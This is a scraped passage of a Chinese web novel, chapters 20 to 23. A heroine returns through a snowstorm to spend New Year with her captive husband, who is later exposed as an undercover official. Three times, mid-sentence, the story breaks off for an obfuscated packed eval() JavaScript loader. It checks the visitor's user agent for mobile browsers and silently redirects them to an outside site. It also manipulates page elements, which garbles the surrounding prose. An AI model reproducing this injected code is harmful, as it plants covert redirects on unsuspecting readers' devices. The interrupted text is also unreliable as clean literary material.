崔执瑶一直往前走,雪灌进靴筒,浸透裤脚,寒意如细针扎进皮肉。风卷着雪沫呼啸而来,天地间混沌一片,几乎辨不清哪里是路。 到了西边山道,那里岩壁覆冰,崔执瑶吸了口气,指尖抠进岩缝,手脚并用,一步步向前挪移。饶是她功夫扎实,这一段也走得格外艰难。 越往上,风势越狂,卷起的雪粒子抽打在脸上,生疼。冰冷的空气吸入肺腑,带来刺痛的清醒,也消耗着所剩不多的体力。寒意从四周包裹而来,疲惫从四肢悄然蔓延。 天色,一点一点暗下来了。 — 院落里,屋子早早点了灯,光晕投在窗纸上,却衬得屋内格外空落。 纪文焕独坐桌边,桌上只一壶酒,和几碟孟云松差人送来的小菜。 白日里听映月告诉他,她或许赶不回来时,他脸上的笑意便淡了下去,没再继续包元宵,也推了所有邀约,在这里从天亮坐到天黑。 他不由自主地想起她临行那日眉眼飞扬,语气轻快又斩钉截铁地说“那我会的”,唇角无意识地牵了一下,可抬眼望见满屋灯火照着的只有自己的影子,那点弧度便倏然沉了下去。 他低声,像说给自己听:“骗子。” 酒杯见底,他又给自己斟满,入口后似乎已经尝不出那股辛辣了,只剩胸口堵着一团无处可去的闷火,和一丝……连自己都觉得莫名其妙的委屈。 纪文焕有些理不清了。 明明自己是被她掳来的,被困在这山寨两个多月,本该日夜筹谋如何脱身,为什么会答应陪她过年呢? 她还骗了他。 他要早点离开这里。这个念头再次浮现。 可…… 可是什么呢?难道还有什么理由让他得留下吗? 他想不出来,闭眼按下心头纷乱,伸手欲再斟一杯。 他刚提起酒壶—— “吱呀……” 院门方向,传来一声极轻微的、像是积雪被重物缓慢压实的声响。 纪文焕执壶的手倏然顿在半空。 下一瞬,他已放下杯盏,不及披衣,甚至未及细想,便霍然起身,疾步走向房门,一把拉开—— 门外,漫天风雪之中,一道身影正踉跄着踏进院子。听到开门声,那身影也停住了脚步,缓缓抬起头来。 她发髻松了,鬓边沾着未化的雪,肩上斗篷积了厚厚一层白。呼吸间呵出团团白雾,胸口轻轻起伏,然而,那双带着笑意的眼睛,却在灯火映照下,灼灼如星,穿透风雪,直直落进他眼里。 纪文焕喉间一哽,发不出声。 他只知道她真的回来了,在除夕夜,在风雪最大的时候。 所有纷乱的思绪,在这一刻尘埃落定。 他朝她走去,步伐越来越快,踏过院中积雪,径直来到她面前停下。 她微微喘着气,声音却清朗坚定: “纪文焕,我没食言。” 风雪依旧,而世间仿佛只剩这一方院落,一窗灯火,与重逢的两个人。 纪文焕低下头,看着她冻得通红的脸,看着她眼中的执拗,看着她满身的冰雪,终于也笑了。 他伸手拂去她肩上的雪,动作很轻。 “嗯,”纪文焕低声说,“我知道。” 他很自然地伸出手,将她冰冷的手拢入自己温热掌心,语气安然:“只要是你想做到的事,便一定能做到。” 纪文焕将她拉进屋内,迅速掩紧门扉。寒气却似已渗进骨缝里,崔执瑶站定了仍觉不到暖意,轻轻搓着冻僵的手。 她目光落向那张孤零 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16966331|193392||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 零的桌子:“你就吃这些?” 纪文焕已快步走到衣柜前,取出一件厚袄,不由分说便往她肩上披,闻言只淡淡“嗯”了一声,手下不停,仔细帮她拢紧衣襟。 崔执瑶被他裹得像只粽子,只露出一张冻红的脸,仰头看他:“怎么不去我爹或者孟大娘那儿?” 纪文焕系好她领口的带子:“这寨子里,我只同你最熟。你不在,我去哪儿都觉得不自在。” 这话说得平淡,却让崔执瑶心头莫名一软。她眨了眨眼,看着桌上冷清的酒菜,又看看他:“可大过年的,总不好就凑合这些。时辰还不算太晚,我去灶房,给你弄几个热菜……” 说着便要脱下身上刚披好的厚袄。 纪文焕却伸手轻轻按住了她的动作。“不急。”他看着她,眼底映着跳动的烛火,“你下山前,不是说要回来尝尝我的手艺么?” 崔执瑶眼睛一亮,带着惊喜:“你已经学会了?” “满汉全席是来不及了。”纪文焕唇角微扬,“不过,下碗元宵应应急,让你吃点热乎的暖暖身子,还是可以的。” 崔执瑶狐疑:“你会么?” 纪文焕没答话,只隔着那厚厚的棉袄,虚虚揽住她的肩,将人轻轻带往灶房方向:“去了不就知道了。” 灶房内很快亮起火,崔执瑶蹲在灶口边,伸手烤着火,冰冷的指尖渐渐恢复知觉。这方寸之地被暖意和光亮填满,将外面的风雪世界隔绝。 她安静地看着纪文焕忙碌。他已经娴熟许多,俊美的面容在灯火下褪去了平日的书卷气,添上几分真实的烟火温度,看得人赏心悦目。 锅里的水很快咕嘟咕嘟滚开。纪文焕揭开木盖,将元宵一颗颗小心地滑入水中。 崔执瑶忍不住:“这是你自己包的吗?” “嗯。”纪文焕用勺背轻轻推了推。 “还没到元宵呢,”崔执瑶托着腮,“怎么想起包这个了?” 纪文焕没有回头,专注地看着锅里,声音寻常:“我问了映月。她说你爱吃这个,就学着包了。” 话音落下,灶房里只有柴火噼啪的轻响,和锅中元宵翻滚的细微水声。 崔执瑶蹲在那里,只觉那股暖意不仅在指尖蔓延,心口也像是也被温温地煨着,一点点化开寒冷。 两碗元宵端上桌,白汽袅袅蒸腾。崔执瑶坐下,只见碗中元宵颗颗浑圆饱满,外皮莹润完好,不由赞道:“真有模有样了。” 她拿起勺子,舀起一颗,小心吹了吹,送入口中轻轻一咬。软糯的外皮破开,滚烫甜稠的芝麻核桃馅瞬间流溢出来,烫得她舌尖微缩,却舍不得吐,只眯起眼睛,细细品味,满足地叹出一口气:“好甜。” 纪文焕没急着动筷,只是静静坐在对面看着她吃。蒸腾的热气氤氲了她的眉眼,纪文焕看着模糊的轮廓,心头淌过一股沉静的暖流,驱散了先前所有烦闷,只余安定。 崔执瑶吃完自己那碗,周身都暖透了。她看向仍在慢条斯理吃着元宵的纪文焕。烛光映着他清隽的侧脸,平日里那点疏离感,都被这暖光照得朦胧了。 美人在侧,灯火可亲,温饱无忧,她忽然觉得,这一趟风雪夜归,实在值得。 窗外风声渐悄,雪落无声。 崔执瑶脑海中毫无征兆冒出一个念头:也许不必非要什么两情相悦,一日三餐,四季灯火,过上一辈子,似乎……就挺好的。 待到二人吃完,在灶房洗碗闲话时,雪已经停了。 不多时,远远近近,开始有零星的“砰啪”声传来,起初一两声,随即越来越多,越来越密。 两人不约而同地停了手里的动作,拭净手,走到院子里。 夜空已被绚烂的光彩点亮。一簇簇烟花呼啸升腾,在天幕上绽开,化作金雨,化作流霞,化作漫天坠落的星辰。各色璀璨的光影明明灭灭,映亮了院中并肩而立的两人。 爆响声中,崔执瑶忽然侧过头,小声道: “纪文焕,新岁了。” 纪文焕也转眸看向她。 他眼底映出她清晰的笑颜,唇角微弯,声音不高,却稳稳落在她耳畔: “嗯。恭贺新岁。” 最后一朵烟花在最高处缓缓熄灭,余烬如淡金色的雨,无声落向苍茫群山。而更深邃的夜幕上,真正的星辰依旧亮着,恒久,安静。 21. 第 21 章 崔执瑶第二日先去见了崔温茂,回院子时,映月、嘉音和孟云松都已聚在屋里,正围着炭盆说笑。 见她回来,几人又笑着打趣她与纪文焕“小别胜新婚”,情意甚笃。话题随即天南地北,从市井趣闻说到乡野怪谈,又从古时轶事聊到眼前雪景。不知谁先提议,一行人便兴冲冲涌到院中玩雪。 几人在院子里打雪仗,最后精疲力尽了就开始安静堆雪人。 只剩崔执瑶和孟云松还有力气在雪地里过招。两人轮番抢嘉音和映月团好的雪球,偶尔夺纪文焕手里的树枝,一时人影交错,雪沫纷飞。 最后,崔执瑶瞅准时机,一脚踢飞孟云松手中硕大的雪球,那雪球“嘭”地一声不知砸向何处,与满地白雪混作一片;同时她手中树枝轻巧一点孟云松膝窝,令他身形一晃,结结实实扑进了雪堆里。 嘉音与映月毫不客气地笑出声。 崔执瑶稳稳落地,看着孟云松龇牙咧嘴爬起来的模样,心情大好。 不料身后骤然传来一道压着怒意的声音,一字一顿: “崔、执、瑶!” 崔执瑶一愣,转身望去。 只见纪文焕一身素白大氅上溅满雪渍,发间、眉梢也沾着星星点点的白,即便如此,仍能看出他面色铁青。 崔执瑶视线下移——他脚边,那尊初具雏形的雪人,此刻塌得没了形状。 她忽然想起自己方才踢飞的那个雪球,方向似乎……正是这边! 没忍住,她“噗嗤”笑出了声。 纪文焕瞪着她:“你还有脸笑?” 天知道他费了多少功夫,眼看就要完工了! 崔执瑶余光瞥见一旁正拍打身上积雪的孟云松,立刻撇清:“都怪孟云松!谁让他非要抢嘉音她们的雪团!” 无端背锅的孟云松顿时呆住:“先生,我……” 纪文焕冷冷道:“不把《论语》抄足一百遍,你还是先别叫我先生了。” 孟云松还想辩解,纪文焕已转身蹲下,自顾自收拾那团残雪。 崔执瑶凑过去,小声道:“不如……我替你抄两遍?” 孟云松瞪大眼:“一百遍,大小姐就替我抄两遍?这事您至少也得担一半责任吧!” 崔执瑶理直气壮:“雪球是你抢的。” 孟云松不服:“那也是您踢飞的!” 崔执瑶眯起眼,孟云松立刻怂了,干笑两声:“玩笑,玩笑!纪先生定也是说笑,哪能真让我抄呢!大小姐您还是快去瞧瞧先生,我也得去给嘉音她们赔个不是!” 说罢,一溜烟跑了。 崔执瑶走到纪文焕身边蹲下。纪文焕自顾自团着雪,当她不存在。 “别气了,”她说,“我再帮你堆一个。” 纪文焕侧目看她一眼:“我没生气。” 他确实没真动怒,只是心血被毁、又溅了一脸雪的瞬间有些哭笑不得。横竖无事,再堆一个便是。 崔执瑶却执意要帮忙。纪文焕似是拗不过,指了指不远处:“那边雪干净些,劳驾帮我团些过来吧。” 崔执瑶依言起身,去团雪。不料返回时脚下不知绊到什么,一个趔趄向前扑倒,不仅啃了满嘴雪,手里刚团好的雪块也脱手飞出,正砸在纪文焕刚搭起的新雪堆上,顿时又塌了一片。 她撑着起身,纪文焕在一旁正痛心疾首地看着那再次遭殃的雪堆:“大小姐,我这雪人与你究竟何仇何怨,你要这般折磨它?” 崔执瑶一眼看见雪堆旁那块先前绝无的凸起石头,心下雪亮,再听这凉飕飕的语气,看纪文焕那好整以暇的模样,顿时咬牙:“你故意的?” 纪文焕一脸无辜:“何出此言?” 这场雪地闹剧,最终以崔执瑶“将功补过”、却堆出个奇丑无比的歪脖雪人告终。 第二日几人又嚷着去冰嬉。 纪文焕是不想去的,他不会这个,崔执瑶却硬拉着他上了冰面。 冰面光可鉴人,寒气森森,纪文焕甫一踏上,便觉脚下虚浮,只得紧紧扶着湖边凸起的嶙峋石壁,一步一挪。 崔执瑶流畅地滑至他身边,伸手拉住他手腕:“走,我带你滑两圈,保管就会了。” 纪文焕一惊,牢牢抓住石壁不肯松:“我不……” 话未说完,已被她带着向湖心滑去。离开了石壁的依托,他全身重量几乎都倚在崔执瑶臂上,寸步难行。 崔执瑶连声让他放松、自己动。 纪文焕哪敢松手?僵持之下,崔执瑶索性抽回手臂。失了凭靠,纪文焕顿时失衡,一步一摔,跌得浑身发冷,骨头生疼。 再一次狼狈撑起身时,他先飞快扫了眼远处正玩得欢的孟云松三人,见无人注意这边,稍松了口气,才忍无可忍地瞪向崔执瑶,越发怀疑她是在报昨日雪人之仇。 崔执瑶滑到他面前停下,一脸冤枉:“冰嬉就是要多摔几次才会呀!” 纪文焕冷笑一声,忽然伸手攥住她衣袖,猛地一扯。冰鞋本就溜滑,崔执瑶猝不及防,重心一偏,惊呼着便向前扑倒—— 却并未摔在冰面上,而是结结实实压在了纪文焕身上。 两人齐齐倒在冰上,距离骤然拉得极近,呼吸可闻。冰面的寒气透过衣物渗上来,崔执瑶怕他着凉,下意识想立刻起身,却被他手臂箍住了。 “大庭广众的,”她低声说,“这样不好吧?” 纪文焕这辈子头一回脸皮这么厚,偏不松手,声音闷闷的:“你若不把我弄下这湖面,咱们便在这儿耗着吧。” 崔执瑶:“……” 下一瞬,她稍一运劲,便轻松挣脱了他的束缚,缓缓站起身来。 仍躺在冰面上的纪文焕:“……?” 最终,他还是认命地、颤巍巍地自己爬了起来。 不过,崔执瑶那话虽听着像狡辩,却也有几分道理。在不知摔了第几十跤后,纪文焕竟真能摇摇晃晃地独自滑上一小段了。 之后这几日,两人依旧是打打闹闹地过,逛集市、看草台戏、围炉闲话……纪文焕原以为这山寨里的新年会很枯燥,却是意想不到的喧腾鲜活。 他也许久,未曾这样纯粹地过一个年了。 第五日,山路积雪渐消,开始有下山的人陆续回寨。 崔执瑶被唤去主寨时,恰在寨门处与归来的陶肃撞个正着。 陶肃道:“师妹,新岁康吉。” 崔执瑶敷衍回礼:“师兄同喜。” 两人并肩往里走。陶肃语气似是随意:“听说大雪封山,师妹仍特地从山下赶回,陪纪先生守岁。如此情深意重,实在令人动容。” “我自然不比师兄洒脱,孑然一身,随处可往。”崔执瑶目不斜视,“我家中有人点灯相候,惦念着我归去,等我尝他做的一碗热食。便是再远再难,也值得。” 她瞥了眼陶肃,却未在他脸上看到预想中的变色。 陶肃只点了点头,语气平和:“这倒也是。只是……师妹当真觉得,纪公子待你,亦是如此情深不移么?” 此言一出,两人脚步同时顿住。 崔执瑶侧身看他:“陶肃,自打我与纪文焕成亲,你种种揣测便不曾断过。我承认,你探得的消息里或许有真。可你终日如此,不累么?” 陶肃也看向她:“师妹对我误会太深了。我的确不乐见你与他在一起,可你嫁给他已是不争之实,我何至于耿耿于怀至今?我的初心,从来都是为你好,为山寨好。” “你想说什么?” “你难道从没怀疑过,纪文焕或有问题?” 崔执瑶定定看他:“你说,他有什么问题?” “我可不敢妄言……” “既是妄言,那便闭嘴。”崔执瑶不耐地打断,“陶肃,你少在这里故弄玄虚。我带上山的每一个人,皆经木娘细细查过底细,无一不妥。倒是师兄你,这捕风捉影的毛病还是改改为好,免得哪天又去睡马厩。” 她不再多言,径自快步向前走去。 崔执瑶这日从主寨回来,手里拎了些香料、绢花与头饰。她自己从不爱这些,是想着给嘉音和映月的。另有一筐书,是带给纪文焕的。 热热闹闹的年节过完,到元宵这日, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16966332|193392||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下山的人皆已陆续归寨。崔温茂便将众人唤至主寨,共聚团圆饭。 纪文焕随崔执瑶踏入主寨时,只见庭中人头攒动,个个摩拳擦掌,气氛倒更像比武校场,不由低声问她缘由。 崔执瑶道:“每年趁人齐,寨里都会有个夺彩会。我爹徒弟不少,还有其他几位师叔师伯教导的徒弟,他们凭比武夺名次,名次越高,讨的彩头越好。” 纪文焕看向她:“那你可要下场?” 崔执瑶眉梢微扬,理所当然地反问:“我若下场,他们还夺什么彩头?” 她语气里的那份笃定与傲然,让纪文焕不由莞尔。是了,以她的身手,若真参与,这“夺彩”怕是要变成她一人独揽了。 两人站在场边说话间,陶肃也到了。崔执瑶瞥见他的身影,立时敛了笑意,转身朝另一侧走去,连招呼都懒得打。 纪文焕倒仍是那副温和守礼的模样,见陶肃走近,微微颔首致意。 不料陶肃视若无睹,径直从他面前走过。 纪文焕微微一怔,随即摇头失笑,也不知这对师兄妹又是闹的哪一出。 陶肃刚走过不远,纪文焕鼻尖忽然捕捉到一缕极其淡薄、却异常熟悉的气味。他脸色变了变,倏然抬眸,望向陶肃离去的背影,若有所思。 团圆宴席热闹而寻常,酒酣饭饱之后,真正的重头戏方才开始。空场中央清出大片地方,比武夺彩正式开场。 崔执瑶虽不下场,却也看得专注,不时侧首向纪文焕低声解说两句,点出场中交手之人的招式路数、攻防优劣。纪文焕于武学一道虽非精通,但见识眼界不差,听她娓娓道来,再观场上比斗,倒也觉趣味盎然,看得颇为投入。 正看得兴起,有人来请,说是寨主让崔执瑶与纪文焕进屋说话。 厅内,崔温茂与一位须发皆白、精神矍铄的山寨长老端坐上首。陶肃早已立在厅中。 崔温茂看向女儿,语气依旧温和:“虽未明说过,但你与陶肃在众人眼中,已是年轻一辈的领头之人。依你们看,此番夺彩,众人实力如何?” 陶肃先开口:“佼佼者众多。” 老爷子以前从来问过这个,崔执瑶直觉有事的同时又细细考量,直言道:“都差些火候。” 崔温茂闻言,与身旁长老对视一眼,面上并无愠色,反而点了点头,叹道:“常言道,生于忧患,死于安乐。咱们寨子安稳了十数年。大家习武强身、看家护院有余,可若真要生死搏杀、临阵对敌……确是缺了那份在刀尖上滚出来的真功夫。” 陶肃接口道:“寨中弟兄只需有护身的本领便足矣,也未必需要那般真功夫。” 崔温茂只是不置可否地笑了笑,摇了摇头,但那笑意并不轻松。 崔执瑶心头那抹不祥的预感愈发浓重:“爹,可是山下出了什么变故?” 崔温茂未再言语,只向身旁长老略一示意。长老自袖中取出一封信,递给了崔执瑶。 崔执瑶拿过来看完,脸色骤变,陶肃见状,一把将信夺过,匆匆阅罢,同样面色凝重,低声道:“怎么会……” 崔温茂依旧很平静:“你二人对此,有何看法?” 崔执瑶心中实在太震动,没有说话。 陶肃拿着信,心情没比崔执瑶好太多。 崔温茂的目光这时转向了静立一旁的纪文焕:“文焕是读书人,这信上传的是江湖人的暗号切口,许是看不大明白。阿瑶,你同纪公子说说信上之事,也可听听他有何见解。” 崔执瑶闻言,抬眸看向纪文焕。纪文焕恰也抬眼,迎上她复杂的目光,眼中带着困惑与关切,静静等她告知。 然而,未等崔执瑶开口,一旁的陶肃却猛地踏前一步。他手中紧紧攥着那封信,神色坚定又肃然: “师父!徒儿有一事,不得不报!” 崔温茂有些诧异:“讲。” 陶肃深吸一口气,胸膛起伏,抬手指向纪文焕,眼神锐利如刀,声音清晰而冰冷: “此人——纪文焕,根本不是什么落难书生!他是官府派来,潜伏于我归云寨的细作!” 22. 第 22 章 此言一出,厅内气氛肃穆起来,四座脸色都变了变。 崔执瑶霍然扭头:“你说什么?” “我说,”陶肃一字一顿,“你的好夫君,是官府的人。” “陶肃!”崔执瑶怒极,“无凭无据,便敢当众污蔑我的人!你究竟安的什么心?” 上首,崔温茂的面色也沉了下来。他没有呵斥谁,目光落在陶肃身上,声音不高,却很有压迫感:“你们师兄妹平日有些龃龉争执,为师只当是小孩子家打闹。可指控自家人是细作,不仅令人心寒,更非同小可。你师妹说得不错,无凭无据便是构陷,其心可诛。” 陶肃脸色毫无惧色:“徒儿深知此理,更明白此事轻重。若无铁证,岂敢在师父与长老面前妄言?” 他说着,自怀中取出一张折叠整齐的纸,双手呈与崔温茂:“师父请看。” 崔温茂展开纸张,目光一凝。那是一张寻人告示,上面的画像与纪文焕确有七八分相似,几乎可断定为同一人。此外只有寥寥几字,提及赏金数额,再无其他信息。 “师父,此次徒儿南下,于南州获得此告示。”陶肃声音仍旧能听出几分压下的激愤,“其上所载赏金,乃是黄金百两。” 崔温茂将画像轻轻搁在案边,抬眼看向静立一旁的纪文焕:“文焕,你可知,这是何人在寻你?” 纪文焕站在那里,身形未动,面上看不出情绪。他迎上崔温茂的视线,却并未回答崔问话,也未曾看向那张画像。 “一幅画像能说明什么?”崔执瑶仍在质疑,“纪文焕的身世来历,木娘早已查得清清楚楚!他父母早逝,家境贫寒,断不可能是家人寻他。定是那户他曾开罪的高门,仍在悬赏追杀!” “一个父母皆是奴仆出身、家徒四壁的落魄书生,”陶肃冷笑一声,步步紧逼,“师妹,你真的相信,仅仅是这样的身份值得有人出价黄金百两来寻找吗?” “且先不论他因何被追杀,”崔执瑶毫不退让,“单说这画像,除了容貌,别无他证。师兄凭何断定他身份有异?又凭何咬定,这画中之人,便一定是纪文焕本人?” “师妹,”陶肃讥讽道,“你识不清自己夫君的身份,莫非还识不清自己夫君的脸吗?” 陶肃的目光如刀,直刺纪文焕,随即转向众人,声音拔高:“好!就算师妹你要强词夺理,否认这画像非纪文焕本人,那我也不妨将查到的实情,在此一并说个明白!” “这画像上的人,的确不叫纪文焕!他本名纪珩,乃宣府镇总兵纪凌风的独子,如今官拜监察御史!文焕,不过是他的表字!” 厅内陷入一片死寂。 连崔执瑶都僵在原地,瞳孔微缩,没能再说出话来。 陶肃目光扫过她瞬间怔愣的神情,质问道:“同样叫做纪文焕,容貌又如此酷肖!师妹,事到如今,你还相信这只是巧合吗?!” 他没有留情,继续出击:“至于师妹所言,叶姑娘曾核查过的那个纪文焕——总兵府上确有其人。不过是恰巧同名同姓罢了!那书生确系逃亡,不知所踪,但早在上月,便已证实身故!他的画像我亦看了,与师妹这位夫君……可是没有半分相似!” 厅内众人的目光,都齐刷刷转向纪文焕。 崔执瑶想不出任何可以反驳的破绽,可她心里却也没有真正想去相信陶肃的话。像是溺水之人抓住最后一根浮木,她猛地转过头,看向纪文焕。 那目光里翻涌着太多东西:疑问、不信、还有一丝求证。 他的面色无悲无喜,不见一丝波澜,神情淡漠得近乎残忍,仿佛刚刚这场关乎他的激烈争议,从头至尾都与他毫无关系。 就在这一片令人窒息的寂静里,就在崔执瑶对上他平静目光的那一瞬—— 她浑身一冷,也已经懂了。 若有蹊跷,若是构陷,他绝不会是这样的神情,绝不会这般安静地任人指控。他会嬉皮笑脸地拉着她叫冤,会与她一唱一和,将陶肃怼得无话可说。 崔执瑶只觉得每一个字都发得无比困难:“你……” 就在她发出这微弱音节的同时,纪文焕藏在广袖之下收拢的手指,缓缓松开了。 “他没说错。” 他直视着她有些迷茫的眼睛,声音甚至带着一种奇异的温和,却像最冷的冰刃,剖开她心里那一丝侥幸: “我确是朝廷命官,纪珩。” 他与她的目光相触了一瞬间,就听见边上的陶肃厉声道:“师父!他自己都已亲口承认!还请速速下令,将这细作拿下,关入地牢听候发落!” 纪文焕不得不转开视线,声音清冷:“且慢!我承认的,只是隐瞒真实身份,可从未认下什么细作的罪名!” 陶肃根本不愿给他喘息之机:“师父,此人巧舌如簧,万万不可听他狡辩!” “我纵使巧舌如簧,”纪文焕的语速又急又快,带着穿透力,“想来陶兄也并非不辨是非之人。等我把话说完,是非黑白,自有公断。若是我能说动诸位,那也只能证明我言之有理。陶兄在怕什么?” “纪公子未免太小瞧自己混淆视听的本事了。”陶肃寸步不让,向崔温茂再次请命,“师父,为防万一,还请即刻下令,将他押入地牢,再行审问!” 崔温茂轻叩桌案,半晌才从容开口,回陶肃道:“你已说了这许多,也不差这一时半刻。既然他有话要说,便让他说。” 陶肃还欲再劝,崔温茂已抬手制止。 纪文焕恢复情绪,不卑不亢:“敢问寨主,那信件所述,可是指山下官府,已然知晓了山寨的存在?” 陶肃立刻抓住话柄:“你还敢说你不是细作!你没看过信,如何得知信中所言?若非与官府串通一气,岂能知晓内情?!更何况,在你来之前,寨子一直安然无事,怎的你一来,便生出祸端?!” “我在这屋子里待了这么久,又是听寨主问二位应付官府的经验,又是听你在这口口声声指控细作,我脑子在动,想猜不出这信里的内容都难。”纪文焕冷冷扫他一眼,语气重了些,“倒是陶兄怎么不动脑想想,你自己都说了,山寨出事,我身份暴露,必然是头一个遭怀疑的,我若真是和官府沟通好的,怎么事先不把我自己支出去?这样蠢的手笔,我可做不出来。” 陶肃不以为意,眼中讥讽:“纪文焕,你哪里是没想把自己支出去,你是根本没来得及!” 他向崔温茂拱手,语气悔恨:“师父,徒儿有罪,一直替这个细作瞒着一件事!这个细作曾算计我寨中子弟孟云松,扮作其模样偷溜下山!还暗算了徒儿,令徒儿一时不察,竟将他放走!” 他说着,又狠狠看向纪文焕:“纪文焕!你那次下山,不就是想逃吗?只不过运气不好,被我中途截住!可恨我当时竟信了你的鬼话,未能当场一剑结果了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16973541|193392||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你!” 纪文焕面色不变:“事到如今,我当日下山的缘由也不必瞒着寨主了。我乃是被大小姐强掳上山的,只因一心不想困居于此,才出此下策。那时我的确正遭人追杀,幸得大小姐出手相救。” “若真如陶兄所言,我是官府细作,那崔执瑶当日救我,难道也是我精心策划的一步棋?可山寨在外无名无号,就连云平城地界都无人知晓,我一个路经云平城的外乡人,又怎会知道这深山里藏着一座寨子?陶兄单凭我有官身、下过一次山,就断定我是细作,不觉得太过牵强了吗?” “纪文焕,你还真是不见棺材不落泪!”陶肃眼中精光一闪,似是终于等到此刻,“自从打听出你的真实身份,我就彻查了你下山当日的行径。也幸好你那日裹着斗篷的模样太过惹眼,才让不少人对你印象深刻。” 他顿了顿,语气加重:“比如——你去写信的那间书摊!” 纪文焕眼皮跳了一下。 陶肃见状,顿时得意地笑出声:“怎么,纪公子,还是棋差一招,露出马脚了吧?” 他转向崔温茂,躬身拱手,语气笃定如铁:“师父,徒儿已经探查得一清二楚!纪文焕下山那日,去一家书摊写了封信寄出去!他是读书人,记性绝不会差,只需在信中稍加点拨,便可将山寨的踪迹透露出去。可见此人心机深沉,料到自己未必能顺利逃脱,竟早早做了两手准备!” 纪文焕定了定神,平静反问道:“那陶兄可曾问明,我那封信,是寄往何处?” 陶肃哼道:“只需知道你向外传递了消息便已足够!” “那就是没问,或是问了,却刻意隐去不说。”纪文焕一语道破,“那是一家代写书信的摊铺,光顾者多是不识字的百姓。唯独我是自己执笔,又付了重金托店主务必寄出。寄往之地更是特别——乃是宣府镇总兵府。那店主必然记得我,也必然记得这个地址。” “那又如何?” “如何?”纪文焕语调微扬,“依寨主所言,信中所提,应只有云平城官府吧?可曾提及宣府镇?我若真是要向官府报信,何必舍近求远,不寄给云平城县衙,反要千里迢迢寄往宣府镇?可见陶兄所谓传递消息之说,根本站不住脚。我当日不过是因离家日久,想寄一封家书报平安罢了。” “因为你仅凭一封信,无法向官府证明身份,却足以让你父亲认出笔迹,再传信给云平城!”陶肃反应极快,“信中究竟写了什么,只有你自己知晓!你说它是家书它便是家书?那你说那是白纸,它也能是白纸了?纪文焕,你真当我们都是傻子,任由你玩弄于股掌?如今山寨已然暴露,你疑点重重,真以为仅凭一张利嘴,就能洗脱你这细作的嫌疑?!” “当然不能。”纪文焕坦然接话。 “所以,我也并不打算仅靠自辩脱罪。”他唇角一勾,“若要洗脱我身上的嫌疑,最好的法子,自然是找出那个真正泄露山寨踪迹、引祸上门之人。” 陶肃看着他这副仿佛一切尽在掌握的模样,又憎恶又有几分说不清的不安,脱口喝问:“你又想玩什么花样?” 纪文焕不再看他,向崔温茂郑重一揖:“寨主明鉴,这罪魁祸首绝非在下。” 陶肃不屑:“不是你还能有谁?” 纪文焕目光悠悠地落在他身上,眼底已经没了笑意,但语气仍旧带着几分漫不经心的轻松: “你啊。” 23. 第 23 章 纪文焕此言一出,再配上他那略带轻嘲的眼神,陶肃心头火气腾地窜起:“你是说我为了构陷你,竟不惜将山寨的消息泄露出去?!你在放什么狗屁!” 他像是再也忍不了了,急切又愤懑道:“师父,此人满嘴胡言,绝不可信!还请速速将他关入地牢,严加处置! “师兄不如让他把话说完。” 崔执瑶忽然平静开口,却比任何激烈的反驳更让纪文焕心头一紧。 自从纪文焕承认身份,她一直冷眼旁观,此刻会出声是纪文焕也没想到的。 只是这一次,她不再是为了维护他,投向他的目光里,星火寂无,只剩被欺瞒后的怒意,以及一种冰冷的审视。 “我倒是很好奇,”她嘴角扯出一点没有温度的弧度,“他还能编出什么故事来。” 纪文焕看清她的神色,心口像是被什么细密地刺了一下,一时竟失了声。 “说啊。”崔执瑶面无表情地催促。 他压下心头那片理不清的涩意,再开口时,声音比方才少了些许锋芒,甚至多了几分乖巧:“寨主明鉴,在下绝非胡言。此事蹊跷,确与陶兄有关。” 崔温茂端坐着,一言不发,显然是在等他把话说完。 “陶兄难道未曾察觉,”纪文焕目光落回陶肃身上,语气平和,“自己身上多了一股不该有的气味么?” 陶肃正欲反唇相讥,身旁的崔执瑶却先蹙起了眉:“你在用香?” 陶肃脸色微凝,下抬手在衣襟上闻了闻,这才恍然想起什么,语气有些不耐烦:“不过是上次送香料上山时沾染的,这又能说明什么?纪文焕,你别再东拉西扯,转移视线!” “上次我便有所疑惑,”纪文焕不紧不慢道,“大小姐从你处带回的香料绢花,皆是名贵之物。陶兄乃习武之人,素日应不看中这些脂粉香氛,为何会特意买回如此珍稀的香料?” 陶肃根本不愿搭理这问题,只想尽快将纪文焕关起来。可厅内数道目光齐刷刷落在他身上,他只得耐着性子道:“那些不是我买的,是我在山下救了一位老者,他是过路商队的主家,为感念我的救命之恩,特意赠的。” 纪文焕追问:“你确定途中只接触了那些香料?” “不然呢?我还能上哪儿去沾染这一身让你在此胡诌的味儿?” 